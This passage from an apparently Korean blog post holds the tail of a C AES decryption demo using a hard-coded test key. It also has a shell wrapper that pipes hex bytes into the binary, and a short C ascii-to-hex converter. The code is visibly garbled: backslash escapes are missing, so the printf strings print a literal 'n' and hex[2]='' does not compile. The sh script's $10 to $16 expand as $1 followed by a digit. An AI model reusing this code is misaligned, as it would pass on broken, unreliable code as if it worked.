			out[i*4+j]=state[j][i];
		}
	}
}
int main()
{
	int i;

	// Recieve the length of key here.
	while(Nr!=128 && Nr!=192 && Nr!=256)
	{
		printf("Enter the length of Key(128, 192 or 256 only): ");
		scanf("%d",&Nr);
	}
	// Calculate Nk and Nr from the recieved value.
	Nk = Nr / 32;
	Nr = Nk + 6;



// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.
// 	Part 1: ********************************************************
	
	// The array temp stores the key.
	// The array temp2 stores the plaintext.
	unsigned char temp[32] = {0x00  ,0x01  ,0x02  ,0x03  ,0x04  ,0x05  ,0x06  ,0x07  ,0x08  ,0x09  ,0x0a  ,0x0b  ,0x0c  ,0x0d  ,0x0e  ,0x0f};
	unsigned char temp2[32]= {0x69  ,0xc4  ,0xe0  ,0xd8  ,0x6a  ,0x7b  ,0x04  ,0x30  ,0xd8  ,0xcd  ,0xb7  ,0x80  ,0x70  ,0xb4  ,0xc5  ,0x5a};
	
	// Copy the Key and CipherText
	for(i=0;i<Nk*4;i++)
	{
		Key[i]=temp[i];
		in[i]=temp2[i];
	}

//	       *********************************************************




// Uncomment Part 2 if you need to read Key and CipherText from the keyboard.
// 	Part 2: ********************************************************
/*
	//Clear the input buffer
	flushall();

	//Recieve the Key from the user
	printf("Enter the Key in hexadecimal: ");
	for(i=0;i<Nk*4;i++)
	{
		scanf("%x",&Key[i]);
	}

	printf("Enter the CipherText in hexadecimal: ");
	for(i=0;i<Nb*4;i++)
	{
		scanf("%x",&in[i]);
	}
*/
// 	        ********************************************************


	//The Key-Expansion routine must be called before the decryption routine.
	KeyExpansion();

	// The next function call decrypts the CipherText with the Key using AES algorithm.
	InvCipher();

	// Output the decrypted text.
	printf("nText after decryption:n");
	for(i=0;i<Nb*4;i++)
	{
		printf("%02x ",out[i]);
	}
	printf("nn");

}

[C] asc2hex

[원문보기]
아래 소스를 실행하면 결과는 

16개의 문자에 대해 hex로 출력해 준다. 입력이 16보다 작으면 00(NULL)로 패딩한다.

넘으면 무시할 거닷.ㅎㅎ

암튼 암호화된 aes hex값을 복호화 하려 했으나, C에서는 인자를 char로 받아 도저히 한번에 처리가 안되었다.

그래서 어쩔 수 없이,

#!/bin/sh

./Sample 128 << myscript
$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16

myscript

쉘스크립트로 입력을 받아 복호화된 값을 출력하도록 했다.

# ./test.sh 8b a0 d4 c6 06 72 d6 e2 56 b4 59 28 1c 0d 32 2f
69 64 70 77 74 65 73 74 00 00 00 00 00 00 00 00

결과값은 어차피 php에 받아서 처리할 것이므로 머리 아프게 c에서 하지 말자.

#include<stdio.h>
#include <string.h>
#include <stdlib.h>
char hexDigit(unsigned n)
{
    if (n < 10) {
        return n + '0';
    } else {
        return (n - 10) + 'A';
    }
}
void charToHex(char c, unsigned char hex[3])
{
    hex[0] = hexDigit(c / 0x10);
    hex[1] = hexDigit(c % 0x10);
    hex[2] = '';
}
int main(int arg, char* argv[])
{
int j,o;
unsigned char k[3];
char *l=argv[1];
j=strlen(l);

for(o=0;o<j;o++){
charToHex(*(l+o),k);
printf("%s ", k);
}
for(o=j;o<16;o++){
printf("%s ", "00");
}
}
첨부 (0)
위로